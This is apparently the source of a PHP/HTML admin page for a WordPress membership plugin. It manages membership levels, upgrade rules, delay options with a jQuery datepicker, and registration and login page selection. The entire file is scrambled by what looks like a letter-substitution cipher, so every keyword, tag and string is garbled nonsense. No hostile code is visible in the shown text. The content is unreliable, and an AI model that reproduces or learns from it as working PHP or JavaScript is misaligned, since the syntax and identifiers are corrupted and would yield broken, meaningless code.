sFtB=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_FDmxrs_srmyxszQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SFDmxrs3BmyrC==QplrmUQplrmU)U WQzmU /QzmUcr 2rmyxszQumU/uFEBuQzmUY QumU/srEoQzmUQumU/mCQzmUYY QumUV-- nBuBDm uBkBu --QzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_uBkBu_qoBkxrln[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrs;qzoFCB)U WQzmUQplrmU /QzmUY QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_lqzoFCB_uBkBu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_uBkBuQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUY QumUrqmxrs kFulB=QplrmUPQplrmUQzmU--QumU/rqmxrsQzmUY QumUWqyq AroBFDy (SuBkBun Fn SFDmxrs4BkBu): WQzmUY QumUWqyq xA (SuBkBu-QzmU7c == SFDmxrs4BkBu-QzmU7c) { DrsmxslBU } WQzmUY QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrs4BkBu-QzmU7c)U WQzmUQplrmU QumUWqyq nBuBDmBC((SFDmxrs3BmyrC==QplrmUFCCQplrmU QFtqUQFtqU SFDmxrs4BkBu-QzmU7c==SFDmxrsfCC) || (SFDmxrs3BmyrC==QplrmUtrkBQplrmU QFtqUQFtqU SFDmxrs4BkBu-QzmU7c==SFDmxrs3rkB))U WQzmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SFDmxrs4BkBu-QzmUuBkBu_sFtB)U WQzmUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmUY QumU/mCQzmUYY QumUV-- xsnmFsm, FAmBo > CFhn, ro rs CFmB --QzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_CBuFh_qoBkxrln[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrs!FulB)U WQzmUQplrmU /QzmUYY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_CFmB_qoBkxrln[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrscFmB)*OPPPU WQzmUQplrmU /QzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_CFmB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU xC=QplrmUtBtEBozBsxln_lqzoFCB_CFmB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SFDmxrscFmB)*OPPPU WQzmUQplrmU /QzmU Y QumUsrEoQzmUY QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_nDyBCluB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUxsnmFsmQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_CBuFhQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SnDyBCluB==QplrmUxsnmFsmQplrmU)U WQzmU /QzmU7snmFsmuhQumU/uFEBuQzmUQumUEo /QzmUY QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_nDyBCluB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUFAmBoQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_CBuFhQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SnDyBCluB==QplrmUCFhQplrmU)U WQzmU /QzmUQumUnqFs DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_FAmBo_srsBQplrmU nmhuB=QplrmUCxnquFh:QumUWqyq BDyr ((SnDyBCluBV=QplrmUCFhQplrmU)WQTPMGUxsuxsBQTPMGU:QTPMGUsrsBQTPMGU)UWQzmUUQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUfAmBo...QumU/nqFsQzmUQumUnqFs DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_FAmBoQplrmU nmhuB=QplrmUCxnquFh:QumUWqyq BDyr ((SnDyBCluB==QplrmUCFhQplrmU)WQTPMGUxsuxsBQTPMGU:QTPMGUsrsBQTPMGU)UWQzmUUQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUfAmBo QumUxsqlm mhqB=QplrmUsltEBoQplrmU DuFnn=QplrmUtBtEBozBsxln_FAmBo_CBuFhQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_FAmBo[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU nxgB=QplrmUMQplrmU tFiuBszmy=QplrmUKQplrmU kFulB=QplrmUQumUWqyq BDyr tFi(O, SFDmxrscBuFh)U WQzmUQplrmU nmhuB=QplrmUArsm-nxgB:OOqiU jxCmy:KPqiUQplrmU /QzmU cFhn rs 4BkBuQumU/nqFsQzmUY QumU/uFEBuQzmUQumUEo /QzmUY QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_nDyBCluB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU kFulB=QplrmUCFmBQplrmU DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_CBuFhQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU QumUWqyq DyBDvBC(SnDyBCluB==QplrmUCFmBQplrmU)U WQzmU /QzmUQumUnqFs DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_CFmB_srsBQplrmU nmhuB=QplrmUCxnquFh:QumUWqyq BDyr ((SnDyBCluBV=QplrmUCFmBQplrmU)WQTPMGUxsuxsBQTPMGU:QTPMGUsrsBQTPMGU)UWQzmUUQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmU1s cFmB...QumU/nqFsQzmUQumUnqFs DuFnn=QplrmUtBtEBozBsxln_lqzoFCB_CFmBQplrmU nmhuB=QplrmUCxnquFh:QumUWqyq BDyr ((SnDyBCluB==QplrmUCFmBQplrmU)WQTPMGUxsuxsBQTPMGU:QTPMGUsrsBQTPMGU)UWQzmUUQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmU1s cFmB: QumUxsqlm mhqB=QplrmUmBimQplrmU DuFnn=QplrmUtBtEBozBsxln_CFmB_CBuFhQplrmU oBu=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmU sFtB=QplrmUtBtEBozBsxln_lqzoFCB_CFmB_CxnquFh[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU nmhuB=QplrmUArsm-nxgB:OOqiUQplrmU /QzmUQumU/nqFsQzmUY QumU/uFEBuQzmUY QumU/srEoQzmUY QumU/mCQzmUY QumU/moQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/mErChQzmUY QumU/mFEuBQzmUYY QumUqQzmUQumUxsqlm DuFnn=QplrmUElmmrs-qoxtFohQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmU QumUxsqlm DuFnn=QplrmUElmmrsQplrmU mhqB=QplrmUnlEtxmQplrmU kFulB=QplrmUcBuBmB $BuBDmBC 4BkBunQplrmU /QzmUQumU/qQzmUY QumU/ArotQzmU YY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--YY w&lBoh(AlsDmxrs() {Y w&lBoh(QTPMGU.tBtEBozBsxln_CFmB_CBuFhQTPMGU).BFDy(AlsDmxrs (x, rEw) {Y kFo oBu = w&lBoh(rEw).Fmmo(QplrmUoBuQplrmU)UY kFo FumaxBuC = QTPMGUTtBtEBozBsxln_lqzoFCB_CFmBQumUWqyq BDyr Dyo(GN).Dyo(GN)U WQzmU[QTPMGU+oBu+QTPMGUQumUWqyq BDyr Dyo(GN).Dyo(GN)U WQzmU]QTPMGUUY kFo myB$mFtq = qFonB7sm(w&lBoh(FumaxBuC).kFu())UY kFo myBcFmBUYY xA (xn2F2(myB$mFtq) || myB$mFtq QumU= O) {Y kFo srj = sBj cFmB()UY myBcFmB = sBj cFmB(srj.zBmaluuQumUWqyq BDyr Dyo(HG)U WQzmUBFo(), srj.zBm3rsmy()+O, O)UY }Y BunB {Y myBcFmB = sBj cFmB(myB$mFtq)UY }YY w&lBoh(rEw).CFmBqxDvBo({Y FumaxBuC: FumaxBuC,Y FumarotFm: QplrmU@QplrmU,Y CFmBarotFm: QplrmU33 C, hhQplrmU,Y nyrjelmmrs0FsBu:molB,Y })UY w&lBoh(rEw).CFmBqxDvBo(QplrmUnBmcFmBQplrmU, myBcFmB)UY //FuBom(QplrmUCFmB=QplrmU+w&lBoh(FumaxBuC).kFu())UY })UY w&lBoh(QTPMGUTlx-CFmBqxDvBo-CxkQTPMGU).yxCB()UYY w&lBoh(QTPMGUxsqlm.tBtEBozBsxln_lqzoFCB_CBuFh[kFulB=QplrmUxsnmFsmQplrmU]QTPMGU).DuxDv(AlsDmxrs() {Y kFo oBu = w&lBoh(myxn).Fmmo(QplrmUoBuQplrmU)UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY })UYY // FAmBo Elmmrs DuxDvBCY w&lBoh(QTPMGUxsqlm.tBtEBozBsxln_lqzoFCB_CBuFh[kFulB=QplrmUFAmBoQplrmU]QTPMGU).DuxDv(AlsDmxrs() {Y kFo oBu = w&lBoh(myxn).Fmmo(QplrmUoBuQplrmU)UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY })UYY w&lBoh(QTPMGUxsqlm.tBtEBozBsxln_lqzoFCB_CBuFh[kFulB=QplrmUCFmBQplrmU]QTPMGU).DuxDv(AlsDmxrs() {Y kFo oBu = w&lBoh(myxn).Fmmo(QplrmUoBuQplrmU)UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_CFmB_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo_srsB[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).nyrj()UY w&lBoh(QTPMGUnqFs.tBtEBozBsxln_lqzoFCB_FAmBo[oBu=QplrmUQTPMGU+oBu+QTPMGUQplrmU]QTPMGU).yxCB()UY })UYY w&lBoh(QplrmU.tBtEBozBsxln_lqzoFCB_uBkBuQplrmU).DyFszB(AlsDmxrs() {Y kFo oBu = qFonB7sm(w&lBoh(myxn).Fmmo(QplrmUoBuQplrmU))UY xA (xn2F2(oBu)) { oBmlosU }YY kFo FCC1qmxrs = w&lBoh(QplrmU.tBtEBozBsxln_lqzoFCB_FDmxrs_FCC[oBu=QTPMGUQplrmU+oBu+QplrmUQTPMGU]QplrmU)UY kFo trkB1qmxrs = w&lBoh(QplrmU.tBtEBozBsxln_lqzoFCB_FDmxrs_trkB[oBu=QTPMGUQplrmU+oBu+QplrmUQTPMGU]QplrmU)UY Y kFo xsnmFsm1qmxrs = w&lBoh(QplrmU.tBtEBozBsxln_lqzoFCB_CBuFh[oBu=QTPMGUQplrmU+oBu+QplrmUQTPMGU][kFulB=QTPMGUxsnmFsmQTPMGU]QplrmU)UYY xA (w&lBoh(myxn).kFu() == QplrmUPQplrmU) {Y FCC1qmxrs.Fmmo(QplrmUDyBDvBCQplrmU, AFunB)UY trkB1qmxrs.Fmmo(QplrmUDyBDvBCQplrmU, AFunB)UY xsnmFsm1qmxrs.DuxDv()UY }Y BunB xA (VFCC1qmxrs.Fmmo(QplrmUDyBDvBCQplrmU) QFtqUQFtqU VtrkB1qmxrs.Fmmo(QplrmUDyBDvBCQplrmU)) {Y FCC1qmxrs.Fmmo(QplrmUDyBDvBCQplrmU, molB)UY }Y })U // tBtEBozBsxln_lqzoFCB_uBkBu Y })UY // --QzmUY QumU/nDoxqmQzmUY QumUWqyqY } qlEuxD AlsDmxrs tBsl_uBkBun_uxnm() { zurEFu StBtEBozBsxlnU SmyB0FzBn = zBm_qFzBn()U SqFzBn = FooFh(P =QzmU QplrmUdyrrnB 0FzBQplrmU)U AroBFDy (SmyB0FzBn Fn SqFzB5Bh =QzmU SqFzB!FulB) { xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUDrqhoxzymQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUCxnDuFxtBoQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUBFosxsznQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUqoxkFDhQplrmU) { DrsmxslBU } xA (SqFzB!FulB-QzmUqrnm_sFtB == QplrmUmBotn-DrsCxmxrsnQplrmU) { DrsmxslBU } SxC = SqFzB!FulB-QzmU7cU SmxmuB = SqFzB!FulB-QzmUqrnm_mxmuBU SqFzBn[SxC] = SmxmuBU } Fnrom(SqFzBn)U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_CBuBmBQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_CBuBmBQplrmU])) { SCBuBmBn = FooFh_vBhn(S_01$#[QplrmUtBtEBozBsxln_CBuBmBQplrmU])U AroBFDy (SCBuBmBn Fn SCBuBmB) { StBtEBozBsxln-QzmUtrCBu-QzmUCBuBmB4BkBu(SCBuBmB)U } } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_sBjQplrmU][QplrmUsFtBQplrmU]) QFtqUQFtqU VBtqmh(S_01$#[QplrmUtBtEBozBsxln_sBjQplrmU][QplrmUsFtBQplrmU])) { SsBj = S_01$#[QplrmUtBtEBozBsxln_sBjQplrmU]U xA (VxnnBm(SsBj[QplrmUFuuQplrmU])) { SsBj[QplrmUFuuQplrmU] = AFunBU } xA (VxnnBm(SsBj[QplrmUDrttBsmnQplrmU])) { SsBj[QplrmUDrttBsmnQplrmU] = AFunBU } StBtEBozBsxln-QzmUtrCBu-QzmUDoBFmB4BkBu(SsBj[QplrmUsFtBQplrmU], SsBj[QplrmUFuuQplrmU], SsBj[QplrmUDrttBsmnQplrmU], SsBj[QplrmUyFnyQplrmU])U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { AroBFDy (S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU] Fn SuBkBu7c =QzmU SuBkBu2FtB) { SuBkBufuu = xnnBm(S_01$#[QplrmUtBtEBozBsxln_FuuQplrmU][SuBkBu7c]) W molB : AFunBU SuBkBudrttBsmn = xnnBm(S_01$#[QplrmUtBtEBozBsxln_DrttBsmnQplrmU][SuBkBu7c]) W molB : AFunBU SuBkBu BzxnmBo = PU SuBkBu4rzxs = PU xA (xnnBm(S_01$#[QplrmUuBkBu_qFzB_oBzxnmBoQplrmU][SuBkBu7c])) { SuBkBu BzxnmBo = xsmkFu(S_01$#[QplrmUuBkBu_qFzB_oBzxnmBoQplrmU][SuBkBu7c])U } xA (xnnBm(S_01$#[QplrmUuBkBu_qFzB_urzxsQplrmU][SuBkBu7c])) { SuBkBu4rzxs = xsmkFu(S_01$#[QplrmUuBkBu_qFzB_urzxsQplrmU][SuBkBu7c])U } xA (xnnBm(S_01$#[QplrmUuBkBu_BiqxoFmxrsQplrmU][SuBkBu7c])) { SuBkBubiqxoFmxrs = xsmkFu(S_01$#[QplrmUuBkBu_BiqxoFmxrsQplrmU][SuBkBu7c])U } xA (VxnnBm(S_01$#[QplrmUuBkBu_BiqxoBnQplrmU][SuBkBu7c])) { SuBkBubiqxoFmxrs = PU } StBtEBozBsxln-QzmUtrCBu-QzmUBCxm4BkBu(SuBkBu7c, FooFh( QplrmUuBkBu_sFtBQplrmU =QzmU SuBkBu2FtB, QplrmUuBkBu_FuuQplrmU =QzmU SuBkBufuu, QplrmUuBkBu_DrttBsmnQplrmU =QzmU SuBkBudrttBsmn, QplrmUuBkBu_qFzB_oBzxnmBoQplrmU =QzmU SuBkBu BzxnmBo, QplrmUuBkBu_qFzB_urzxsQplrmU =QzmU SuBkBu4rzxs, QplrmUuBkBu_BiqxoFmxrsQplrmU =QzmU SuBkBubiqxoFmxrs ))U } } WQzmUY QumUyMQzmU3FsFzB 3BtEBonyxq 4BkBunQumU/yMQzmUYY QumUqQzmU;nB uBkBun mr DoBFmB QFtqUplrmUzorlqnQFtqUplrmU ro QFtqUplrmUqFDvFzBnQFtqUplrmU rA DrsmBsm mr zxkB FjFh ro oBnBuu.QumU/qQzmUYY QumUqQzmUfAmBo hrlQTPMGUkB DoBFmBC myB uBkBu hrl jFsm, lnB myB drsmBsm mFE mr Fnnxzs DrsmBsm mr myFm uBkBu, myBs lnB myB 3BtEBon mFE mr Fnnxzs tBtEBon mr FCC myBt mr hrlo uBkBu.QumU/qQzmUYY QumUqQzmUQumUEQzmU7tqromFsm:QumU/EQzmU 4BkBun DFssrm EB CBuBmBC xA myBh DrsmFxs tBtEBon. 7A F uBkBu EBurj DFssrm EB CBuBmBC, hrl qorEFEuh sBBC mr oBtrkB tBtEBon Aort xm.QumU/qQzmUYY QumUArot tBmyrC=QplrmUqrnmQplrmUQzmUY QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:IPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUDruQplrmUQzmUQFtqUsEnqUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:NPPqiUQplrmUQzmU3BtEBonyxq 4BkBuQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:OPPqiU qFCCxsz-oxzym:NPqiUQplrmUQzmUQumUsrEoQzmUfDDBnn #r...QumU/srEoQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiUQplrmUQzmU BzxnmoFmxrs ; 4QumU/myQzmUY QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUuxsB-yBxzym:NPqiU jxCmy:LPPqiUQplrmUQzmU BCxoBDm 0FzBnQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY QumUmErChQzmUYY QumUWqyq Sx = PU WQzmUY QumUWqyq AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun() Fn SuBkBu): WQzmUY QumUWqyq xA (Sx++ % N == P): WQzmUQumUmo DuFnn=QplrmUFumBosFmBQplrmUQzmUQumUWqyq BunB: WQzmUQumUmoQzmUQumUWqyq BsCxAU WQzmUYY QumUWqyqY SnyrjbiqxoFmxrs = xsmkFu(SuBkBu-QzmUuBkBu_BiqxoFmxrs)U xA (SnyrjbiqxoFmxrs == P) { SnyrjbiqxoFmxrs = QplrmUQplrmUU } WQzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:mrqUQplrmUQzmUY QumUWqyq xA (SuBkBu-QzmUFDmxkB QzmU P || SuBkBu-QzmUDFsDBuBC QzmU P): WQzmUQFtqUsEnqUY QumUWqyq BunB: WQzmUY QumUxsqlm mhqB=QplrmUDyBDvEriQplrmU DuFnn=QplrmUtBtEBozBsxln_CBuBmBQplrmU sFtB=QplrmUtBtEBozBsxln_CBuBmB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU xC=QplrmUtBtEBozBsxln_CBuBmB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU /QzmUY QumUWqyq BsCxAU WQzmUY QumU/mCQzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:mrqUQplrmUQzmUY QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_uBkBu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU nxgB=QplrmUNPQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQplrmU /QzmUQumUEo /QzmUY QumUntFuuQzmUY QFtqUsEnqU QumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU) . QplrmUQFtqUtBtEBozBsxln_FDmxrs=oBzxnmoFmxrsQFtqUu=QplrmU.xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmU BzxnmoFmxrs 0FzBQumU/FQzmUQumUEo /QzmUY QFtqUsEnqU QumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU) . QplrmUQFtqUtBtEBozBsxln_FDmxrs=lqzoFCBQplrmUU WQzmUQplrmUQzmU$BplBsmxFu ;qzoFCBQumU/FQzmUY QumU/ntFuuQzmUY QumU/mCQzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:mrqU qFCCxsz-oxzym:NPqiUQplrmUQzmUY QumUsrEoQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_Fuu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU QumUWqyq xA (SuBkBu-QzmUuBkBu_Fuu): WQzmUDyBDvBC=QplrmUDyBDvBCQplrmUQumUWqyq BsCxAU WQzmU /QzmU fuu 0rnmn QFtqUFtqU 0FzBnQumU/uFEBuQzmUQumU/srEoQzmUQumUEo /QzmUY QumUsrEoQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_DrttBsmn[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU QumUWqyq xA (SuBkBu-QzmUuBkBu_DrttBsmn): WQzmUDyBDvBC=QplrmUDyBDvBCQplrmUQumUWqyq BsCxAU WQzmU /QzmU ?oxmB drttBsmnQumU/uFEBuQzmUQumU/srEoQzmUQumUEo /QzmUY QumUsrEoQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU DuFnn=QplrmUtBtEBozBsxln_BiqxoBnQplrmU sFtB=QplrmUuBkBu_BiqxoBn[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU QumUWqyq DyBDvBC(SuBkBu-QzmUuBkBu_BiqxoFmxrs QzmU P)U WQzmU /QzmU biqxoBnQumUnqFs DuFnn=QplrmUtBtEBozBsxln_BiqxoBn_CBmFxuQplrmU nmhuB=QplrmUCxnquFh:QumUWqyq BDyr (SuBkBu-QzmUuBkBu_BiqxoFmxrs QzmU P) W QTPMGUxsuxsBQTPMGU:QTPMGUsrsBQTPMGUU WQzmUQplrmUQzmU fAmBo QumUxsqlm mhqB=QplrmUmBimQplrmU DuFnn=QplrmUtBtEBozBsxln_BiqxoFmxrsQplrmU sFtB=QplrmUuBkBu_BiqxoFmxrs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmU nxgB=QplrmUNQplrmU tFiuBszmy=QplrmUKQplrmU kFulB=QplrmUQumUWqyq BDyr SnyrjbiqxoFmxrsU WQzmUQplrmU nmhuB=QplrmUArsm-nxgB:OPqiUQplrmU /QzmU cFhnQumU/nqFsQzmUQumU/uFEBuQzmUQumU/srEoQzmUY QumU/mCQzmUY QumUmC nmhuB=QplrmUqFCCxsz:KqiU kBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUF yoBA=QplrmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQplrmU mFozBm=QplrmU_EuFsvQplrmUQzmUQumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUnxzslq; 4(SuBkBu-QzmUuBkBu_yFny)U WQzmUQumU/FQzmUQumU/mCQzmUY QumUmC Fuxzs=QplrmUuBAmQplrmUQzmUY QumUsrEoQzmUY QumUqQzmUY QumUuFEBuQzmUY QumUWqyq xA (SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo QFtqUQFtqU (SoBzxnmBo = zBm_qBotFuxsv(xsmkFu(SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo)))): WQzmUY QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr SoBzxnmBoU WQzmUQplrmUQzmUQumUnmorszQzmUfAmBo BzxnmoFmxrs:QumU/nmorszQzmUQumU/FQzmUY QumUWqyq BunB: WQzmUY fAmBo BzxnmoFmxrs:Y QumUWqyq BsCxAU WQzmUYY QumUnBuBDm sFtB=QplrmUuBkBu_qFzB_oBzxnmBo[QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmU]QplrmUQzmUY QumUWqyq AroBFDy (SqFzBn Fn SqFzB7C =QzmU SqFzB#xmuB): WQzmUY QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr SqFzB7CU WQzmUQplrmU QumUWqyq nBuBDmBC(SuBkBu-QzmUuBkBu_qFzB_oBzxnmBo == SqFzB7C)U WQzmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB#xmuB)U WQzmUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmUY QumU/uFEBuQzmUY QumU/qQzmUYY QumUqQzmUY QumUuFEBuQzmUY QumUWqyq xA (SuBkBu-QzmUuBkBu_qFzB_urzxs QFtqUQFtqU (Surzxs = zBm_qBotFuxsv(xsmkFu(SuBkBu-QzmUuBkBu_qFzB_urzxs)))): WQzmUY QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr SurzxsU WQzmUQplrmUQzmUQumUnmorszQzmUfAmBo 4rzxs:QumU/nmorszQzmUQumU/FQzmUY QumUWqyq BunB: WQzmUY fAmBo 4rzxs:Y QumUWqyq BsCxAU WQzmUYY QumUnBuBDm 